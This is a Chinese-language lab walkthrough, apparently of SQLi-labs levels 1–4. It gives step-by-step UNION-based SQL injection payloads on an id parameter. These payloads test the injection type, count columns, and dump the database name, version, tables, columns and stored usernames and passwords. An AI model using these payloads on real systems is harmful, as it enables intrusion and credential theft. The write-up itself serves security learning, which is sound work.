第一题:
1.首先需要判断是否存在SQL的注入
1.1 题目中输入ID值作为参数,当输入?id=1或者?id=1 and 1=1 时候,会得到下图
当输入?id=2时
1.2 还需要进一步进行判断SQL语句是否是拼接,是字符型还是数字型
通过?id=1' and 1=1--+和?id=1' and 1=2--+,如果1=1页面保持不变,并且1=2页面报错或者部分页面数据不正常,那说明是字符型
由上述两图可得,是字符型
总结:根据以上几步可以确定是字符型并且存在sql注入漏洞,因为页面存在回显【能够显示已注册好的信息】,所以可以进行联合查询【用两个SQL语句一起查询,两张表具有相同列数,并且字段名一样】
2.2 联合注入
联合查询的前提列数要一致,第一步,首先需要知道表格有几列,如果出现错误就是超过列数,如果显示正常,那么就是没有超出列数
输入?id=1' order by 3 --+
由图可知,没有超出列数
输入?id=1' order by 4 --+ 出现错误
其次,爆出显示位,也就是看有哪些列是在页面中显示的
输入?id=-1'union select 1,2,3 --+
可以知道的是,2,3列分别是登入名和密码显示在页面的
第三步,获取当前数据名和版本号
输入?id=-1'union select 1 ,database(),version()--+
第四步,爆表,查询数据表名
输入?id=-1'union select 1 ,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步,爆字段名
id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步,得到username和password对应的内容
输入?id=-1'union select 1,2,group_concat(username,id,password) from users--+
第二题
1.1 第一步,还是一样的需要判断是否存在SQL注入
其次,输入?id=2,根据输入的值不同,得到的结果也不一样
1.2 需要进一步判断SQL语句,是字符型还是数字型 (用第一题一样的方法进行判断)
可以知道的是,无论是输入?id=1' and 1=1--+,还是用?id=1',得到的结果是一样的,一样是报错的
当输入?id=1 and 1=1时,页面显示正常,当输入?id=2 and 1=2时,页面显示不完整
总结:根据以上判断,可以知道存在SQL注入,并且是数字型注入
2.2联合注入
联合查询的前提列数要一致,第一步,首先需要知道表格有几列,如果出现错误就是超过列数,如果显示正常,那么就是没有超出列数
输入?id=1 order by 3
输入 ?id=1 order by 4,页面显示出错,说明超出列数
输入?id=-1 union select 1,2,3,爆出显示位,可以知道第二列为name,第三列为password
第三步,获取当前数据名和版本号
输入 ?id=-1 union select 1,database(),version(),可以知道的是版本号为10.2.26-MariaDB-log,数据名为security
第四步,爆表
输入:
id=-1 union select1,2,group_concat(table_name)frominformation_schema.tableswhere table_schema='security'
第五步,爆字段名,可以知道的是,当前数据库有4个表,猜测users中含有用户名和密码,需要值得注意的是,table_name字段不仅仅只存在于tables表中,也存在columns表中
输入:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
第六步,我们通过以上几步已经得出username和password,接下来只用得到字段的对应内容即可
输入:
?id=-1 union select 1,2,group_concat(username,password) from users
第三题
同之前两题一样,先判断是否存在注入SQL
输入:
?id=1
输入:
?id=2
其次判断是字符型还是数字型
输入:
?id=1')--+
?id=2')--+
为字符型
输入:
?id=1 order by 3--+ //可以知道的是没有超出列数
输入:
?id=-1') union select 1,2,3--+ //知道有哪些列在页面显示的
输入:
?id=-1') union select 1,database(),version()--+ //查看数据库名和版本号
输入:
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //查询表中信息
输入:
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //查询字段名
输入:
?id=-1') union select 1,2,group_concat(username,password) from users--+ //查询密码 用户名
第四题
输入;
?id=1 //判断是否存在注入
输入:
?id=2
输入:
?id=1'')--+
输入
?id=1'') order by 3--+
输入
?id=-1'') union select 1,2,3--+ //爆出有哪些列显示在页面上
输入:
?id=-1'') union select 1,database(),version()--+ //查看数据库名和版本号
输入:
?id=-1'') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //查询表中信息
输入:
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //查看所有字段对应的表名
输入:
?id=-1") union select 1,2,group_concat(username , password) from users--+ //爆出username、password